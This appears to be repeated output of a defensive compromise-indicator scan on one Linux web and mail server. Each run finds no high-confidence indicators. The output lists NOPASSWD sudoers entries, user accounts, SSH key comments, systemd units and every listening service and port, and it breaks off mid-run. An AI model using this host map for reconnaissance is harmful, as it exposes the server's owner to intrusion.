/tmp/WANESNI_D71_hero_no_pk.sh /tmp/WANESNI_D67_new_logo.sh /tmp/WANESNI_D66_min_age_18.sh /tmp/WANESNI_D70_photos.sh /tmp/WANESNI_D68_site_redesign.sh /var/tmp/WANESNI_D72_hero_copy.sh /var/tmp/send_test_whatsapp.sh /var/tmp/WANESNI_D69_site_theme.sh /var/tmp/d73_deploy.sh /var/tmp/send_real_test.sh /var/tmp/WANESNI_D71_hero_no_pk.sh /var/tmp/WANESNI_D67_new_logo.sh /var/tmp/WANESNI_D66_min_age_18.sh /var/tmp/WANESNI_D70_photos.sh /var/tmp/WANESNI_D68_site_redesign.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 02:21 /etc/systemd/system/multi-user.target.wants/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service Aug 6 01:08 /etc/systemd/system/multi-user.target.wants/zram.service Aug 6 01:07 /etc/systemd/system/zram.service ==== Network & processes ==== [*] listening sockets: 0.0.0.0:4190 users:(("managesieve-log",pid=2734,fd=9),("managesieve-log",pid=2727,fd=9),("dovecot",pid=1644,fd=48)) 172.25.0.1:53 users:(("named",pid=7040,fd=529)) 172.25.0.1:53 users:(("named",pid=7040,fd=532)) 172.25.0.1:53 users:(("named",pid=7040,fd=536)) 172.25.0.1:53 users:(("named",pid=7040,fd=530)) 172.25.0.1:53 users:(("named",pid=7040,fd=528)) 172.25.0.1:53 users:(("named",pid=7040,fd=537)) 172.25.0.1:53 users:(("named",pid=7040,fd=535)) 172.25.0.1:53 users:(("named",pid=7040,fd=534)) 172.25.0.1:53 users:(("named",pid=7040,fd=533)) 172.25.0.1:53 users:(("named",pid=7040,fd=531)) 172.25.0.1:53 users:(("named",pid=7040,fd=527)) 172.25.0.1:53 users:(("named",pid=7040,fd=526)) 127.0.0.1:9301 users:(("python3.12",pid=14999,fd=3),("python3.12",pid=14998,fd=3),("uvicorn",pid=13426,fd=3)) 0.0.0.0:4443 users:(("httpd",pid=2490740,fd=7),("httpd",pid=1609013,fd=7),("httpd",pid=1032263,fd=7),("httpd",pid=1032093,fd=7),("httpd",pid=1032065,fd=7),("httpd",pid=1032037,fd=7),("httpd",pid=1032009,fd=7),("httpd",pid=1032008,fd=7),("httpd",pid=1032004,fd=7)) 172.17.0.1:53 users:(("named",pid=7040,fd=465)) 172.17.0.1:53 users:(("named",pid=7040,fd=464)) 172.17.0.1:53 users:(("named",pid=7040,fd=463)) 172.17.0.1:53 users:(("named",pid=7040,fd=462)) 172.17.0.1:53 users:(("named",pid=7040,fd=461)) 172.17.0.1:53 users:(("named",pid=7040,fd=460)) 172.17.0.1:53 users:(("named",pid=7040,fd=459)) 172.17.0.1:53 users:(("named",pid=7040,fd=458)) 172.17.0.1:53 users:(("named",pid=7040,fd=457)) 172.17.0.1:53 users:(("named",pid=7040,fd=456)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 02:21 /etc/systemd/system/multi-user.target.wants/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service Aug 6 01:08 /etc/systemd/system/multi-user.target.wants/zram.service ==== Network & processes ==== [*] listening sockets: 0.0.0.0:1194 users:(("openvpn",pid=6385,fd=6)) 0.0.0.0:1337 users:(("node",pid=20784,fd=36)) 0.0.0.0:1443 users:(("nginx",pid=874006,fd=46),("nginx",pid=874002,fd=46),("nginx",pid=21136,fd=46)) 0.0.0.0:80 users:(("nginx",pid=874006,fd=40),("nginx",pid=874002,fd=40),("nginx",pid=21136,fd=40)) 0.0.0.0:81 users:(("httpd",pid=1439705,fd=3),("httpd",pid=1439677,fd=3),("httpd",pid=1439649,fd=3),("httpd",pid=1439621,fd=3),("httpd",pid=1439593,fd=3),("httpd",pid=1439592,fd=3),("httpd",pid=1439583,fd=3),("httpd",pid=9809,fd=3)) 0.0.0.0:110 users:(("pop3-login",pid=873611,fd=9),("pop3-login",pid=873607,fd=9),("dovecot",pid=1817,fd=51)) 0.0.0.0:111 users:(("systemd",pid=1,fd=308)) 0.0.0.0:21 users:(("pure-ftpd",pid=55481,fd=4)) 0.0.0.0:25 users:(("exim",pid=1253,fd=5)) 0.0.0.0:143 users:(("imap-login",pid=873609,fd=9),("imap-login",pid=873605,fd=9),("dovecot",pid=1817,fd=41)) 0.0.0.0:465 users:(("exim",pid=1253,fd=7)) 172.19.0.1:53 users:(("named",pid=6922,fd=465)) 172.19.0.1:53 users:(("named",pid=6922,fd=464)) 172.19.0.1:53 users:(("named",pid=6922,fd=463)) 172.19.0.1:53 users:(("named",pid=6922,fd=462)) 172.19.0.1:53 users:(("named",pid=6922,fd=461)) 172.19.0.1:53 users:(("named",pid=6922,fd=460)) 172.19.0.1:53 users:(("named",pid=6922,fd=459)) 172.19.0.1:53 users:(("named",pid=6922,fd=458)) 172.19.0.1:53 users:(("named",pid=6922,fd=457)) 172.19.0.1:53 users:(("named",pid=6922,fd=456)) 172.19.0.1:53 users:(("named",pid=6922,fd=455)) 172.19.0.1:53 users:(("named",pid=6922,fd=454)) 0.0.0.0:443 users:(("nginx",pid=874006,fd=42),("nginx",pid=874002,fd=42),("nginx",pid=21136,fd=42)) 0.0.0.0:444 users:(("httpd",pid=1439705,fd=5),("httpd",pid=1439677,fd=5),("httpd",pid=1439649,fd=5),("httpd",pid=1439621,fd=5),("httpd",pid=1439593,fd=5),("httpd",pid=1439592,fd=5),("httpd",pid=1439583,fd=5),("httpd",pid=9809,fd=5)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 02:21 /etc/systemd/system/multi-user.target.wants/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service Aug 6 01:08 /etc/systemd/system/multi-user.target.wants/zram.service ==== Network & processes ==== [*] listening sockets: 0.0.0.0:1194 users:(("openvpn",pid=6385,fd=6)) 0.0.0.0:1337 users:(("node",pid=20784,fd=36)) 0.0.0.0:1443 users:(("nginx",pid=927275,fd=46),("nginx",pid=927238,fd=46),("nginx",pid=21136,fd=46)) 0.0.0.0:80 users:(("nginx",pid=927275,fd=40),("nginx",pid=927238,fd=40),("nginx",pid=21136,fd=40)) 0.0.0.0:81 users:(("httpd",pid=299734,fd=3),("httpd",pid=299706,fd=3),("httpd",pid=299678,fd=3),("httpd",pid=299650,fd=3),("httpd",pid=299622,fd=3),("httpd",pid=299621,fd=3),("httpd",pid=299618,fd=3),("httpd",pid=9809,fd=3)) 0.0.0.0:110 users:(("pop3-login",pid=873611,fd=9),("pop3-login",pid=873607,fd=9),("dovecot",pid=1817,fd=51)) 0.0.0.0:111 users:(("systemd",pid=1,fd=308)) 0.0.0.0:21 users:(("pure-ftpd",pid=55481,fd=4)) 0.0.0.0:25 users:(("exim",pid=1253,fd=5)) 0.0.0.0:143 users:(("imap-login",pid=873609,fd=9),("imap-login",pid=873605,fd=9),("dovecot",pid=1817,fd=41)) 0.0.0.0:465 users:(("exim",pid=1253,fd=7)) 172.19.0.1:53 users:(("named",pid=6922,fd=465)) 172.19.0.1:53 users:(("named",pid=6922,fd=464)) 172.19.0.1:53 users:(("named",pid=6922,fd=463)) 172.19.0.1:53 users:(("named",pid=6922,fd=462)) 172.19.0.1:53 users:(("named",pid=6922,fd=461)) 172.19.0.1:53 users:(("named",pid=6922,fd=460)) 172.19.0.1:53 users:(("named",pid=6922,fd=459)) 172.19.0.1:53 users:(("named",pid=6922,fd=458)) 172.19.0.1:53 users:(("named",pid=6922,fd=457)) 172.19.0.1:53 users:(("named",pid=6922,fd=456)) 172.19.0.1:53 users:(("named",pid=6922,fd=455)) 172.19.0.1:53 users:(("named",pid=6922,fd=454)) 0.0.0.0:443 users:(("nginx",pid=927275,fd=42),("nginx",pid=927238,fd=42),("nginx",pid=21136,fd=42)) 0.0.0.0:444 users:(("httpd",pid=299734,fd=5),("httpd",pid=299706,fd=5),("httpd",pid=299678,fd=5),("httpd",pid=299650,fd=5),("httpd",pid=299622,fd=5),("httpd",pid=299621,fd=5),("httpd",pid=299618,fd=5),("httpd",pid=9809,fd=5)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 02:21 /etc/systemd/system/multi-user.target.wants/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service Aug 6 01:08 /etc/systemd/system/multi-user.target.wants/zram.service ==== Network & processes ==== [*] listening sockets: 0.0.0.0:1194 users:(("openvpn",pid=6385,fd=6)) 0.0.0.0:1337 users:(("node",pid=20784,fd=36)) 0.0.0.0:1443 users:(("nginx",pid=2020537,fd=46),("nginx",pid=2020531,fd=46),("nginx",pid=21136,fd=46)) 0.0.0.0:80 users:(("nginx",pid=2020537,fd=40),("nginx",pid=2020531,fd=40),("nginx",pid=21136,fd=40)) 0.0.0.0:81 users:(("httpd",pid=4066455,fd=3),("httpd",pid=4066427,fd=3),("httpd",pid=4066399,fd=3),("httpd",pid=4066371,fd=3),("httpd",pid=4066343,fd=3),("httpd",pid=4066342,fd=3),("httpd",pid=4066336,fd=3),("httpd",pid=9809,fd=3)) 0.0.0.0:110 users:(("pop3-login",pid=873611,fd=9),("pop3-login",pid=873607,fd=9),("dovecot",pid=1817,fd=51)) 0.0.0.0:111 users:(("systemd",pid=1,fd=308)) 0.0.0.0:21 users:(("pure-ftpd",pid=55481,fd=4)) 0.0.0.0:25 users:(("exim",pid=1253,fd=5)) 0.0.0.0:143 users:(("imap-login",pid=873609,fd=9),("imap-login",pid=873605,fd=9),("dovecot",pid=1817,fd=41)) 0.0.0.0:465 users:(("exim",pid=1253,fd=7)) 172.19.0.1:53 users:(("named",pid=6922,fd=465)) 172.19.0.1:53 users:(("named",pid=6922,fd=464)) 172.19.0.1:53 users:(("named",pid=6922,fd=463)) 172.19.0.1:53 users:(("named",pid=6922,fd=462)) 172.19.0.1:53 users:(("named",pid=6922,fd=461)) 172.19.0.1:53 users:(("named",pid=6922,fd=460)) 172.19.0.1:53 users:(("named",pid=6922,fd=459)) 172.19.0.1:53 users:(("named",pid=6922,fd=458)) 172.19.0.1:53 users:(("named",pid=6922,fd=457)) 172.19.0.1:53 users:(("named",pid=6922,fd=456)) 172.19.0.1:53 users:(("named",pid=6922,fd=455)) 172.19.0.1:53 users:(("named",pid=6922,fd=454)) 0.0.0.0:443 users:(("nginx",pid=2020537,fd=42),("nginx",pid=2020531,fd=42),("nginx",pid=21136,fd=42)) 0.0.0.0:444 users:(("httpd",pid=4066455,fd=5),("httpd",pid=4066427,fd=5),("httpd",pid=4066399,fd=5),("httpd",pid=4066371,fd=5),("httpd",pid=4066343,fd=5),("httpd",pid=4066342,fd=5),("httpd",pid=4066336,fd=5),("httpd",pid=9809,fd=5)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 11 11:53 /etc/systemd/system/multi-user.target.wants/pm2-ashraffarid2010.service Aug 11 11:53 /etc/systemd/system/pm2-ashraffarid2010.service Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service ==== Network & processes ==== [*] listening sockets: 0.0.0.0:1194 users:(("openvpn",pid=6385,fd=6)) 0.0.0.0:1337 users:(("node",pid=20784,fd=36)) 0.0.0.0:1443 users:(("nginx",pid=3850059,fd=46),("nginx",pid=3850050,fd=46),("nginx",pid=21136,fd=46)) 0.0.0.0:80 users:(("nginx",pid=3850059,fd=40),("nginx",pid=3850050,fd=40),("nginx",pid=21136,fd=40)) 0.0.0.0:81 users:(("httpd",pid=2540072,fd=3),("httpd",pid=2540016,fd=3),("httpd",pid=2539988,fd=3),("httpd",pid=2539987,fd=3),("httpd",pid=2539986,fd=3),("httpd",pid=2539975,fd=3),("httpd",pid=9809,fd=3)) 0.0.0.0:110 users:(("pop3-login",pid=873611,fd=9),("pop3-login",pid=873607,fd=9),("dovecot",pid=1817,fd=51)) 0.0.0.0:111 users:(("systemd",pid=1,fd=212)) 0.0.0.0:21 users:(("pure-ftpd",pid=55481,fd=4)) 0.0.0.0:25 users:(("exim",pid=1253,fd=5)) 0.0.0.0:143 users:(("imap-login",pid=873609,fd=9),("imap-login",pid=873605,fd=9),("dovecot",pid=1817,fd=41)) 0.0.0.0:465 users:(("exim",pid=1253,fd=7)) 172.19.0.1:53 users:(("named",pid=6922,fd=465)) 172.19.0.1:53 users:(("named",pid=6922,fd=464)) 172.19.0.1:53 users:(("named",pid=6922,fd=463)) 172.19.0.1:53 users:(("named",pid=6922,fd=462)) 172.19.0.1:53 users:(("named",pid=6922,fd=461)) 172.19.0.1:53 users:(("named",pid=6922,fd=460)) 172.19.0.1:53 users:(("named",pid=6922,fd=459)) 172.19.0.1:53 users:(("named",pid=6922,fd=458)) 172.19.0.1:53 users:(("named",pid=6922,fd=457)) 172.19.0.1:53 users:(("named",pid=6922,fd=456)) 172.19.0.1:53 users:(("named",pid=6922,fd=455)) 172.19.0.1:53 users:(("named",pid=6922,fd=454)) 0.0.0.0:443 users:(("nginx",pid=3850059,fd=42),("nginx",pid=3850050,fd=42),("nginx",pid=21136,fd=42)) 0.0.0.0:444 users:(("httpd",pid=2540072,fd=5),("httpd",pid=2540016,fd=5),("httpd",pid=2539988,fd=5),("httpd",pid=2539987,fd=5),("httpd",pid=2539986,fd=5),("httpd",pid=2539975,fd=5),("httpd",pid=9809,fd=5)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 11 11:53 /etc/systemd/system/multi-user.target.wants/pm2-ashraffarid2010.service Aug 11 11:53 /etc/systemd/system/pm2-ashraffarid2010.service Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service ==== Network & processes ==== [*] listening sockets: 0.0.0.0:1194 users:(("openvpn",pid=6385,fd=6)) 0.0.0.0:1337 users:(("node",pid=20784,fd=36)) 0.0.0.0:1443 users:(("nginx",pid=3322057,fd=46),("nginx",pid=3322053,fd=46),("nginx",pid=21136,fd=46)) 0.0.0.0:80 users:(("nginx",pid=3322057,fd=40),("nginx",pid=3322053,fd=40),("nginx",pid=21136,fd=40)) 0.0.0.0:81 users:(("httpd",pid=3441004,fd=3),("httpd",pid=3441001,fd=3),("httpd",pid=3269083,fd=3),("httpd",pid=2384522,fd=3),("httpd",pid=2043998,fd=3),("httpd",pid=1747853,fd=3),("httpd",pid=9809,fd=3)) 0.0.0.0:110 users:(("pop3-login",pid=2366581,fd=9),("pop3-login",pid=2366577,fd=9),("dovecot",pid=1817,fd=51)) 0.0.0.0:111 users:(("systemd",pid=1,fd=310)) 0.0.0.0:21 users:(("pure-ftpd",pid=55481,fd=4)) 0.0.0.0:25 users:(("exim",pid=1253,fd=5)) 0.0.0.0:143 users:(("imap-login",pid=2366579,fd=9),("imap-login",pid=2366575,fd=9),("dovecot",pid=1817,fd=41)) 0.0.0.0:465 users:(("exim",pid=1253,fd=7)) 172.19.0.1:53 users:(("named",pid=6922,fd=465)) 172.19.0.1:53 users:(("named",pid=6922,fd=464)) 172.19.0.1:53 users:(("named",pid=6922,fd=463)) 172.19.0.1:53 users:(("named",pid=6922,fd=462)) 172.19.0.1:53 users:(("named",pid=6922,fd=461)) 172.19.0.1:53 users:(("named",pid=6922,fd=460)) 172.19.0.1:53 users:(("named",pid=6922,fd=459)) 172.19.0.1:53 users:(("named",pid=6922,fd=458)) 172.19.0.1:53 users:(("named",pid=6922,fd=457)) 172.19.0.1:53 users:(("named",pid=6922,fd=456)) 172.19.0.1:53 users:(("named",pid=6922,fd=455)) 172.19.0.1:53 users:(("named",pid=6922,fd=454)) 0.0.0.0:443 users:(("nginx",pid=3322057,fd=42),("nginx",pid=3322053,fd=42),("nginx",pid=21136,fd=42)) 0.0.0.0:444 users:(("httpd",pid=3441004,fd=5),("httpd",pid=3441001,fd=5),("httpd",pid=3269083,fd=5),("httpd",pid=2384522,fd=5),("httpd",pid=2043998,fd=5),("httpd",pid=1747853,fd=5),("httpd",pid=9809,fd=5)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Aug 11 11:53 /etc/systemd/system/multi-user.target.wants/pm2-ashraffarid2010.service Aug 11 11:53 /etc/systemd/system/pm2-ashraffarid2010.service Aug 8 20:02 /etc/systemd/system/pm2-root.service Aug 6 02:23 /etc/systemd/system/veedon-api.service Aug 6 01:12 /etc/systemd/system/multi-user.target.wants/ollama-block-monitor.service Aug 6 01:11 /etc/systemd/system/ollama-block-monitor.service ==== Network & processes ==== [*] listening sockets: 172.30.0.1:53 users:(("named",pid=7086,fd=437)) 172.30.0.1:53 users:(("named",pid=7086,fd=442)) 172.30.0.1:53 users:(("named",pid=7086,fd=441)) 172.30.0.1:53 users:(("named",pid=7086,fd=440)) 172.30.0.1:53 users:(("named",pid=7086,fd=439)) 172.30.0.1:53 users:(("named",pid=7086,fd=436)) 172.30.0.1:53 users:(("named",pid=7086,fd=438)) 172.30.0.1:53 users:(("named",pid=7086,fd=435)) 172.30.0.1:53 users:(("named",pid=7086,fd=434)) 172.30.0.1:53 users:(("named",pid=7086,fd=433)) 172.30.0.1:53 users:(("named",pid=7086,fd=432)) 172.30.0.1:53 users:(("named",pid=7086,fd=431)) 172.21.0.1:53 users:(("named",pid=7086,fd=601)) 172.21.0.1:53 users:(("named",pid=7086,fd=604)) 172.21.0.1:53 users:(("named",pid=7086,fd=608)) 172.21.0.1:53 users:(("named",pid=7086,fd=606)) 172.21.0.1:53 users:(("named",pid=7086,fd=603)) 172.21.0.1:53 users:(("named",pid=7086,fd=602)) 172.21.0.1:53 users:(("named",pid=7086,fd=610)) 172.21.0.1:53 users:(("named",pid=7086,fd=609)) 172.21.0.1:53 users:(("named",pid=7086,fd=607)) 172.21.0.1:53 users:(("named",pid=7086,fd=605)) 172.21.0.1:53 users:(("named",pid=7086,fd=600)) 172.21.0.1:53 users:(("named",pid=7086,fd=599)) 0.0.0.0:9500 users:(("docker-proxy",pid=151519,fd=8)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: 